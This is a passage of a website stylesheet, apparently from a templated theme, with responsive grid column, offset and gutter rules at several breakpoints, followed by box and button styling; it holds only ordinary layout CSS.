-1.5em;\n\t\t\t\t}\n\n\t\t\t\t\t.row > * {\n\t\t\t\t\t\tpadding: 0 0 0 1.5em;\n\t\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-uniform {\n\t\t\t\t\t\tmargin-top: -1.5em;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t.row.gtr-uniform > * {\n\t\t\t\t\t\t\tpadding-top: 1.5em;\n\t\t\t\t\t\t}\n\n\t\t\t\t.row.gtr-150 {\n\t\t\t\t\tmargin-top: 0;\n\t\t\t\t\tmargin-left: -2.25em;\n\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-150 > * {\n\t\t\t\t\t\tpadding: 0 0 0 2.25em;\n\t\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-150.gtr-uniform {\n\t\t\t\t\t\tmargin-top: -2.25em;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t.row.gtr-150.gtr-uniform > * {\n\t\t\t\t\t\t\tpadding-top: 2.25em;\n\t\t\t\t\t\t}\n\n\t\t\t\t.row.gtr-200 {\n\t\t\t\t\tmargin-top: 0;\n\t\t\t\t\tmargin-left: -3em;\n\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-200 > * {\n\t\t\t\t\t\tpadding: 0 0 0 3em;\n\t\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-200.gtr-uniform {\n\t\t\t\t\t\tmargin-top: -3em;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t.row.gtr-200.gtr-uniform > * {\n\t\t\t\t\t\t\tpadding-top: 3em;\n\t\t\t\t\t\t}\n\n\t\t}\n\n\t\t@media screen and (max-width: 980px) {\n\n\t\t\t.row {\n\t\t\t\tdisplay: flex;\n\t\t\t\tflex-wrap: wrap;\n\t\t\t\tbox-sizing: border-box;\n\t\t\t\talign-items: stretch;\n\t\t\t}\n\n\t\t\t\t.row > * {\n\t\t\t\t\tbox-sizing: border-box;\n\t\t\t\t}\n\n\t\t\t\t.row.gtr-uniform > * > :last-child {\n\t\t\t\t\tmargin-bottom: 0;\n\t\t\t\t}\n\n\t\t\t\t.row.aln-left {\n\t\t\t\t\tjustify-content: flex-start;\n\t\t\t\t}\n\n\t\t\t\t.row.aln-center {\n\t\t\t\t\tjustify-content: center;\n\t\t\t\t}\n\n\t\t\t\t.row.aln-right {\n\t\t\t\t\tjustify-content: flex-end;\n\t\t\t\t}\n\n\t\t\t\t.row.aln-top {\n\t\t\t\t\talign-items: flex-start;\n\t\t\t\t}\n\n\t\t\t\t.row.aln-middle {\n\t\t\t\t\talign-items: center;\n\t\t\t\t}\n\n\t\t\t\t.row.aln-bottom {\n\t\t\t\t\talign-items: flex-end;\n\t\t\t\t}\n\n\t\t\t\t.row > .imp-medium {\n\t\t\t\t\torder: -1;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-1-medium {\n\t\t\t\t\twidth: 8.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-1-medium {\n\t\t\t\t\tmargin-left: 8.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-2-medium {\n\t\t\t\t\twidth: 16.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-2-medium {\n\t\t\t\t\tmargin-left: 16.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-3-medium {\n\t\t\t\t\twidth: 25%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-3-medium {\n\t\t\t\t\tmargin-left: 25%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-4-medium {\n\t\t\t\t\twidth: 33.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-4-medium {\n\t\t\t\t\tmargin-left: 33.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-5-medium {\n\t\t\t\t\twidth: 41.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-5-medium {\n\t\t\t\t\tmargin-left: 41.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-6-medium {\n\t\t\t\t\twidth: 50%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-6-medium {\n\t\t\t\t\tmargin-left: 50%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-7-medium {\n\t\t\t\t\twidth: 58.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-7-medium {\n\t\t\t\t\tmargin-left: 58.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-8-medium {\n\t\t\t\t\twidth: 66.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-8-medium {\n\t\t\t\t\tmargin-left: 66.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-9-medium {\n\t\t\t\t\twidth: 75%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-9-medium {\n\t\t\t\t\tmargin-left: 75%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-10-medium {\n\t\t\t\t\twidth: 83.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-10-medium {\n\t\t\t\t\tmargin-left: 83.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-11-medium {\n\t\t\t\t\twidth: 91.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-11-medium {\n\t\t\t\t\tmargin-left: 91.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-12-medium {\n\t\t\t\t\twidth: 100%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-12-medium {\n\t\t\t\t\tmargin-left: 100%;\n\t\t\t\t}\n\n\t\t\t\t.row.gtr-0 {\n\t\t\t\t\tmargin-top: 0;\n\t\t\t\t\tmargin-left: 0em;\n\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-0 > * {\n\t\t\t\t\t\tpadding: 0 0 0 0em;\n\t\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-0.gtr-uniform {\n\t\t\t\t\t\tmargin-top: 0em;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t.row.gtr-0.gtr-uniform > * {\n\t\t\t\t\t\t\tpadding-top: 0em;\n\t\t\t\t\t\t}\n\n\t\t\t\t.row.gtr-25 {\n\t\t\t\t\tmargin-top: 0;\n\t\t\t\t\tmargin-left: -0.375em;\n\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-25 > * {\n\t\t\t\t\t\tpadding: 0 0 0 0.375em;\n\t\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-25.gtr-uniform {\n\t\t\t\t\t\tmargin-top: -0.375em;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t.row.gtr-25.gtr-uniform > * {\n\t\t\t\t\t\t\tpadding-top: 0.375em;\n\t\t\t\t\t\t}\n\n\t\t\t\t.row.gtr-50 {\n\t\t\t\t\tmargin-top: 0;\n\t\t\t\t\tmargin-left: -0.75em;\n\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-50 > * {\n\t\t\t\t\t\tpadding: 0 0 0 0.75em;\n\t\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-50.gtr-uniform {\n\t\t\t\t\t\tmargin-top: -0.75em;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t.row.gtr-50.gtr-uniform > * {\n\t\t\t\t\t\t\tpadding-top: 0.75em;\n\t\t\t\t\t\t}\n\n\t\t\t\t.row {\n\t\t\t\t\tmargin-top: 0;\n\t\t\t\t\tmargin-left: -1.5em;\n\t\t\t\t}\n\n\t\t\t\t\t.row > * {\n\t\t\t\t\t\tpadding: 0 0 0 1.5em;\n\t\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-uniform {\n\t\t\t\t\t\tmargin-top: -1.5em;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t.row.gtr-uniform > * {\n\t\t\t\t\t\t\tpadding-top: 1.5em;\n\t\t\t\t\t\t}\n\n\t\t\t\t.row.gtr-150 {\n\t\t\t\t\tmargin-top: 0;\n\t\t\t\t\tmargin-left: -2.25em;\n\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-150 > * {\n\t\t\t\t\t\tpadding: 0 0 0 2.25em;\n\t\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-150.gtr-uniform {\n\t\t\t\t\t\tmargin-top: -2.25em;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t.row.gtr-150.gtr-uniform > * {\n\t\t\t\t\t\t\tpadding-top: 2.25em;\n\t\t\t\t\t\t}\n\n\t\t\t\t.row.gtr-200 {\n\t\t\t\t\tmargin-top: 0;\n\t\t\t\t\tmargin-left: -3em;\n\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-200 > * {\n\t\t\t\t\t\tpadding: 0 0 0 3em;\n\t\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-200.gtr-uniform {\n\t\t\t\t\t\tmargin-top: -3em;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t.row.gtr-200.gtr-uniform > * {\n\t\t\t\t\t\t\tpadding-top: 3em;\n\t\t\t\t\t\t}\n\n\t\t}\n\n\t\t@media screen and (max-width: 736px) {\n\n\t\t\t.row {\n\t\t\t\tdisplay: flex;\n\t\t\t\tflex-wrap: wrap;\n\t\t\t\tbox-sizing: border-box;\n\t\t\t\talign-items: stretch;\n\t\t\t}\n\n\t\t\t\t.row > * {\n\t\t\t\t\tbox-sizing: border-box;\n\t\t\t\t}\n\n\t\t\t\t.row.gtr-uniform > * > :last-child {\n\t\t\t\t\tmargin-bottom: 0;\n\t\t\t\t}\n\n\t\t\t\t.row.aln-left {\n\t\t\t\t\tjustify-content: flex-start;\n\t\t\t\t}\n\n\t\t\t\t.row.aln-center {\n\t\t\t\t\tjustify-content: center;\n\t\t\t\t}\n\n\t\t\t\t.row.aln-right {\n\t\t\t\t\tjustify-content: flex-end;\n\t\t\t\t}\n\n\t\t\t\t.row.aln-top {\n\t\t\t\t\talign-items: flex-start;\n\t\t\t\t}\n\n\t\t\t\t.row.aln-middle {\n\t\t\t\t\talign-items: center;\n\t\t\t\t}\n\n\t\t\t\t.row.aln-bottom {\n\t\t\t\t\talign-items: flex-end;\n\t\t\t\t}\n\n\t\t\t\t.row > .imp-small {\n\t\t\t\t\torder: -1;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-1-small {\n\t\t\t\t\twidth: 8.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-1-small {\n\t\t\t\t\tmargin-left: 8.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-2-small {\n\t\t\t\t\twidth: 16.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-2-small {\n\t\t\t\t\tmargin-left: 16.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-3-small {\n\t\t\t\t\twidth: 25%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-3-small {\n\t\t\t\t\tmargin-left: 25%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-4-small {\n\t\t\t\t\twidth: 33.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-4-small {\n\t\t\t\t\tmargin-left: 33.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-5-small {\n\t\t\t\t\twidth: 41.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-5-small {\n\t\t\t\t\tmargin-left: 41.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-6-small {\n\t\t\t\t\twidth: 50%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-6-small {\n\t\t\t\t\tmargin-left: 50%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-7-small {\n\t\t\t\t\twidth: 58.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-7-small {\n\t\t\t\t\tmargin-left: 58.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-8-small {\n\t\t\t\t\twidth: 66.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-8-small {\n\t\t\t\t\tmargin-left: 66.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-9-small {\n\t\t\t\t\twidth: 75%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-9-small {\n\t\t\t\t\tmargin-left: 75%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-10-small {\n\t\t\t\t\twidth: 83.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-10-small {\n\t\t\t\t\tmargin-left: 83.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-11-small {\n\t\t\t\t\twidth: 91.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-11-small {\n\t\t\t\t\tmargin-left: 91.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-12-small {\n\t\t\t\t\twidth: 100%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-12-small {\n\t\t\t\t\tmargin-left: 100%;\n\t\t\t\t}\n\n\t\t\t\t.row.gtr-0 {\n\t\t\t\t\tmargin-top: 0;\n\t\t\t\t\tmargin-left: 0em;\n\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-0 > * {\n\t\t\t\t\t\tpadding: 0 0 0 0em;\n\t\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-0.gtr-uniform {\n\t\t\t\t\t\tmargin-top: 0em;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t.row.gtr-0.gtr-uniform > * {\n\t\t\t\t\t\t\tpadding-top: 0em;\n\t\t\t\t\t\t}\n\n\t\t\t\t.row.gtr-25 {\n\t\t\t\t\tmargin-top: 0;\n\t\t\t\t\tmargin-left: -0.375em;\n\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-25 > * {\n\t\t\t\t\t\tpadding: 0 0 0 0.375em;\n\t\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-25.gtr-uniform {\n\t\t\t\t\t\tmargin-top: -0.375em;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t.row.gtr-25.gtr-uniform > * {\n\t\t\t\t\t\t\tpadding-top: 0.375em;\n\t\t\t\t\t\t}\n\n\t\t\t\t.row.gtr-50 {\n\t\t\t\t\tmargin-top: 0;\n\t\t\t\t\tmargin-left: -0.75em;\n\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-50 > * {\n\t\t\t\t\t\tpadding: 0 0 0 0.75em;\n\t\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-50.gtr-uniform {\n\t\t\t\t\t\tmargin-top: -0.75em;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t.row.gtr-50.gtr-uniform > * {\n\t\t\t\t\t\t\tpadding-top: 0.75em;\n\t\t\t\t\t\t}\n\n\t\t\t\t.row {\n\t\t\t\t\tmargin-top: 0;\n\t\t\t\t\tmargin-left: -1.5em;\n\t\t\t\t}\n\n\t\t\t\t\t.row > * {\n\t\t\t\t\t\tpadding: 0 0 0 1.5em;\n\t\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-uniform {\n\t\t\t\t\t\tmargin-top: -1.5em;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t.row.gtr-uniform > * {\n\t\t\t\t\t\t\tpadding-top: 1.5em;\n\t\t\t\t\t\t}\n\n\t\t\t\t.row.gtr-150 {\n\t\t\t\t\tmargin-top: 0;\n\t\t\t\t\tmargin-left: -2.25em;\n\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-150 > * {\n\t\t\t\t\t\tpadding: 0 0 0 2.25em;\n\t\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-150.gtr-uniform {\n\t\t\t\t\t\tmargin-top: -2.25em;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t.row.gtr-150.gtr-uniform > * {\n\t\t\t\t\t\t\tpadding-top: 2.25em;\n\t\t\t\t\t\t}\n\n\t\t\t\t.row.gtr-200 {\n\t\t\t\t\tmargin-top: 0;\n\t\t\t\t\tmargin-left: -3em;\n\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-200 > * {\n\t\t\t\t\t\tpadding: 0 0 0 3em;\n\t\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-200.gtr-uniform {\n\t\t\t\t\t\tmargin-top: -3em;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t.row.gtr-200.gtr-uniform > * {\n\t\t\t\t\t\t\tpadding-top: 3em;\n\t\t\t\t\t\t}\n\n\t\t}\n\n\t\t@media screen and (max-width: 480px) {\n\n\t\t\t.row {\n\t\t\t\tdisplay: flex;\n\t\t\t\tflex-wrap: wrap;\n\t\t\t\tbox-sizing: border-box;\n\t\t\t\talign-items: stretch;\n\t\t\t}\n\n\t\t\t\t.row > * {\n\t\t\t\t\tbox-sizing: border-box;\n\t\t\t\t}\n\n\t\t\t\t.row.gtr-uniform > * > :last-child {\n\t\t\t\t\tmargin-bottom: 0;\n\t\t\t\t}\n\n\t\t\t\t.row.aln-left {\n\t\t\t\t\tjustify-content: flex-start;\n\t\t\t\t}\n\n\t\t\t\t.row.aln-center {\n\t\t\t\t\tjustify-content: center;\n\t\t\t\t}\n\n\t\t\t\t.row.aln-right {\n\t\t\t\t\tjustify-content: flex-end;\n\t\t\t\t}\n\n\t\t\t\t.row.aln-top {\n\t\t\t\t\talign-items: flex-start;\n\t\t\t\t}\n\n\t\t\t\t.row.aln-middle {\n\t\t\t\t\talign-items: center;\n\t\t\t\t}\n\n\t\t\t\t.row.aln-bottom {\n\t\t\t\t\talign-items: flex-end;\n\t\t\t\t}\n\n\t\t\t\t.row > .imp-xsmall {\n\t\t\t\t\torder: -1;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-1-xsmall {\n\t\t\t\t\twidth: 8.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-1-xsmall {\n\t\t\t\t\tmargin-left: 8.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-2-xsmall {\n\t\t\t\t\twidth: 16.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-2-xsmall {\n\t\t\t\t\tmargin-left: 16.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-3-xsmall {\n\t\t\t\t\twidth: 25%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-3-xsmall {\n\t\t\t\t\tmargin-left: 25%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-4-xsmall {\n\t\t\t\t\twidth: 33.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-4-xsmall {\n\t\t\t\t\tmargin-left: 33.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-5-xsmall {\n\t\t\t\t\twidth: 41.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-5-xsmall {\n\t\t\t\t\tmargin-left: 41.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-6-xsmall {\n\t\t\t\t\twidth: 50%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-6-xsmall {\n\t\t\t\t\tmargin-left: 50%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-7-xsmall {\n\t\t\t\t\twidth: 58.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-7-xsmall {\n\t\t\t\t\tmargin-left: 58.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-8-xsmall {\n\t\t\t\t\twidth: 66.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-8-xsmall {\n\t\t\t\t\tmargin-left: 66.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-9-xsmall {\n\t\t\t\t\twidth: 75%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-9-xsmall {\n\t\t\t\t\tmargin-left: 75%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-10-xsmall {\n\t\t\t\t\twidth: 83.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-10-xsmall {\n\t\t\t\t\tmargin-left: 83.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-11-xsmall {\n\t\t\t\t\twidth: 91.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-11-xsmall {\n\t\t\t\t\tmargin-left: 91.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-12-xsmall {\n\t\t\t\t\twidth: 100%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-12-xsmall {\n\t\t\t\t\tmargin-left: 100%;\n\t\t\t\t}\n\n\t\t\t\t.row.gtr-0 {\n\t\t\t\t\tmargin-top: 0;\n\t\t\t\t\tmargin-left: 0em;\n\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-0 > * {\n\t\t\t\t\t\tpadding: 0 0 0 0em;\n\t\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-0.gtr-uniform {\n\t\t\t\t\t\tmargin-top: 0em;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t.row.gtr-0.gtr-uniform > * {\n\t\t\t\t\t\t\tpadding-top: 0em;\n\t\t\t\t\t\t}\n\n\t\t\t\t.row.gtr-25 {\n\t\t\t\t\tmargin-top: 0;\n\t\t\t\t\tmargin-left: -0.375em;\n\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-25 > * {\n\t\t\t\t\t\tpadding: 0 0 0 0.375em;\n\t\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-25.gtr-uniform {\n\t\t\t\t\t\tmargin-top: -0.375em;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t.row.gtr-25.gtr-uniform > * {\n\t\t\t\t\t\t\tpadding-top: 0.375em;\n\t\t\t\t\t\t}\n\n\t\t\t\t.row.gtr-50 {\n\t\t\t\t\tmargin-top: 0;\n\t\t\t\t\tmargin-left: -0.75em;\n\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-50 > * {\n\t\t\t\t\t\tpadding: 0 0 0 0.75em;\n\t\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-50.gtr-uniform {\n\t\t\t\t\t\tmargin-top: -0.75em;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t.row.gtr-50.gtr-uniform > * {\n\t\t\t\t\t\t\tpadding-top: 0.75em;\n\t\t\t\t\t\t}\n\n\t\t\t\t.row {\n\t\t\t\t\tmargin-top: 0;\n\t\t\t\t\tmargin-left: -1.5em;\n\t\t\t\t}\n\n\t\t\t\t\t.row > * {\n\t\t\t\t\t\tpadding: 0 0 0 1.5em;\n\t\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-uniform {\n\t\t\t\t\t\tmargin-top: -1.5em;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t.row.gtr-uniform > * {\n\t\t\t\t\t\t\tpadding-top: 1.5em;\n\t\t\t\t\t\t}\n\n\t\t\t\t.row.gtr-150 {\n\t\t\t\t\tmargin-top: 0;\n\t\t\t\t\tmargin-left: -2.25em;\n\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-150 > * {\n\t\t\t\t\t\tpadding: 0 0 0 2.25em;\n\t\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-150.gtr-uniform {\n\t\t\t\t\t\tmargin-top: -2.25em;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t.row.gtr-150.gtr-uniform > * {\n\t\t\t\t\t\t\tpadding-top: 2.25em;\n\t\t\t\t\t\t}\n\n\t\t\t\t.row.gtr-200 {\n\t\t\t\t\tmargin-top: 0;\n\t\t\t\t\tmargin-left: -3em;\n\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-200 > * {\n\t\t\t\t\t\tpadding: 0 0 0 3em;\n\t\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-200.gtr-uniform {\n\t\t\t\t\t\tmargin-top: -3em;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t.row.gtr-200.gtr-uniform > * {\n\t\t\t\t\t\t\tpadding-top: 3em;\n\t\t\t\t\t\t}\n\n\t\t}\n\n/* Box */\n\n\t.box {\n\t\tborder-radius: 0.25em;\n\t\tborder: solid 1px rgba(255, 255, 255, 0.15);\n\t\tmargin-bottom: 2em;\n\t\tpadding: 1.5em;\n\t}\n\n\t\t.box > :last-child,\n\t\t.box > :last-child > :last-child,\n\t\t.box > :last-child > :last-child > :last-child {\n\t\t\tmargin-bottom: 0;\n\t\t}\n\n\t\t.box.alt {\n\t\t\tborder: 0;\n\t\t\tborder-radius: 0;\n\t\t\tpadding: 0;\n\t\t}\n\n/* Button */\n\n\tinput[type=\"submit\"],\n\tinput[type=\"reset\"],\n\tinput[type=\"button\"],\n\tbutton,\n\t.button {\n\t\t-moz-appearance: none;\n\t\t-webkit-appearance: none;\n\t\t-ms-appearance: none;\n\t\tappearance: none;\n\t\t-moz-transition: border-color 0.2s ease;\n\t\t-webkit-transition: border-color 0.2s ease;\n\t\t-ms-transition: border-color 0.2s ease;\n\t\ttransition: border-color 0.2s ease;\n\t\tbackground-color: transparent;\n\t\tborder: solid 1px !important;\n\t\tborder-color: rgba(255, 255, 255, 0.15) !important;\n\t\tborder-radius: 3em;\n\t\tcolor: #ffffff !important;\n\t\tcursor: pointer;\n\t\tdisplay: inline-block;\n\t\tfont-size: 0.6em;\n\t\tfont-weight: bold;\n\t\theight: calc(4.75em + 2px);\n\t\tletter-spacing: 0.25em;\n\t\tline-height: 4.75em;\n\t\toutline: 0;\n\t\tpadding: 0 3.75em;\n\t\tposition: relative;\n\t\ttext-align: center;\n\t\ttext-decoration: none;\n\t\ttext-transform: uppercase;\n\t\twhite-space: nowrap;\n\t}\n\n\t\tinput[type=\"submit\"]:after,\n\t\tinput[type=\"reset\"]:after,\n\t\tinput[type=\"button\"]:after,\n\t\tbutton:after,\n\t\t.button:after {\n\t\t\t-moz-transform: scale(0.25);\n\t\t\t-webkit-transform: scale(0.25);\n\t\t\t-ms-transform: scale(0.25);\n\t\t\ttransform: scale(0.25);\n\t\t\tpointer-events: none;\n\t\t\t-moz-transition: opacity 0.2s ease, -moz-transform 0.2s ease;\n\t\t\t-webkit-transition: opacity 0.2s ease, -webkit-transform 0.2s ease;\n\t\t\t-ms-transition: opacity 0.2s ease, -ms-transform 0.2s ease;\n\t\t\ttransition: opacity 0.2s ease, transform 0.2s ease;\n\t\t\tbackground: #ffffff;\n\t\t\tborder-radius: 3em;\n\t\t\tcontent: '';\n\t\t\theight: 100%;\n\t\t\tleft: 0;\n\t\t\topacity: 0;\n\t\t\tposition: absolute;\n\t\t\ttop: 0;\n\t\t\twidth: 100%;\n\t\t}\n\n\t\tinput[type=\"submit\"].icon:before,\n\t\tinput[type=\"reset\"].icon:before,\n\t\tinput[type=\"button\"].icon:before,\n\t\tbutton.icon:before,\n\t\t.button.icon:before {\n\t\t\tmargin-right: 0.75em;\n\t\t}\n\n\t\tinput[type=\"submit\"].fit,\n\t\tinput[type=\"reset\"].fit,\n\t\tinput[type=\"button\"].fit,\n\t\tbutton.fit,\n\t\t.button.fit {\n\t\t\twidth: 100%;\n\t\t}\n\n\t\tinput[type=\"submit\"].small,\n\t\tinput[type=\"reset\"].small,\n\t\tinput[type=\"button\"].small,\n\t\tbutton.small,\n\t\t.button.small {\n\t\t\tfont-size: 0.4em;\n\t\t}\n\n\t\tinput[type=\"submit\"].large,\n\t\tinput[type=\"reset\"].large,\n\t\tinput[type=\"button\"].large,\n\t\tbutton.large,\n\t\t.button.large {\n\t\t\tfont-size: 0.8em;\n\t\t}\n\n\t\tinput[type=\"submit\"].primary,\n\t\tinput[type=\"reset\"].primary,\n\t\tinput[type=\"button\"].primary,\n\t\tbutton.primary,\n\t\t.button.primary {\n\t\t\tbackground-color: #ffffff;\n\t\t\tcolor: #312450 !important;\n\t\t}\n\n\t\t\tinput[type=\"submit\"].primary:after,\n\t\t\tinput[type=\"reset\"].primary:after,\n\t\t\tinput[type=\"button\"].primary:after,\n\t\t\tbutton.primary:after,\n\t\t\t.button.primary:after {\n\t\t\t\tdisplay: none;\n\t\t\t}\n\n\t\tinput[type=\"submit\"].disabled, input[type=\"submit\"]:disabled,\n\t\tinput[type=\"reset\"].disabled,\n\t\tinput[type=\"reset\"]:disabled,\n\t\tinput[type=\"button\"].disabled,\n\t\tinput[type=\"button\"]:disabled,\n\t\tbutton.disabled,\n\t\tbutton:disabled,\n\t\t.button.disabled,\n\t\t.button:disabled {\n\t\t\tcursor: default;\n\t\t\topacity: 0.5;\n\t\t\tpointer-events: none;\n\t\t}\n\n\t\tinput[type=\"submit\"]:hover,\n\t\tinput[type=\"reset\"]:hover,\n\t\tinput[type=\"button\"]:hover,\n\t\tbutton:hover,\n\t\t.button:hover {\n\t\t\tborder-color: rgba(255, 255, 255, 0.55) !important;\n\t\t}\n\n\t\t\tinput[type=\"submit\"]:hover:after,\n\t\t\tinput[type=\"reset\"]:hover:after,\n\t\t\tinput[type=\"button\"]:hover:after,\n\t\t\tbutton:hover:after,\n\t\t\t.button:hover:after {\n\t\t\t\topacity: 0.05;\n\t\t\t\t-moz-transform: scale(1);\n\t\t\t\t-webkit-transform: scale(1);\n\t\t\t\t-ms-transform: scale(1);\n\t\t\t\ttransform: scale(1);\n\t\t\t}\n\n\t\t\tinput[type=\"submit\"]:hover:active,\n\t\t\tinput[type=\"reset\"]:hover:active,\n\t\t\tinput[type=\"button\"]:hover:active,\n\t\t\tbutton:hover:active,\n\t\t\t.button:hover:active {\n\t\t\t\tborder-color: #ffffff !important;\n\t\t\t}\n\n\t\t\t\tinput[type=\"submit\"]:hover:active:after,\n\t\t\t\tinput[type=\"reset\"]:hover:active:after,\n\t\t\t\tinput[type=\"button\"]:hover:active:after,\n\t\t\t\tbutton:hover:active:after,\n\t\t\t\t.button:hover:active:after {\n\t\t\t\t\topacity: 0.1;\n\t\t\t\t}\n\n/* Features */\n\n\t.features {\n\t\tdisplay: -moz-flex;\n\t\tdisplay: -webkit-flex;\n\t\tdisplay: -ms-flex;\n\t\tdisplay: flex;\n\t\t-moz-flex-wrap: wrap;\n\t\t-webkit-flex-wrap: wrap;\n\t\t-ms-flex-wrap: 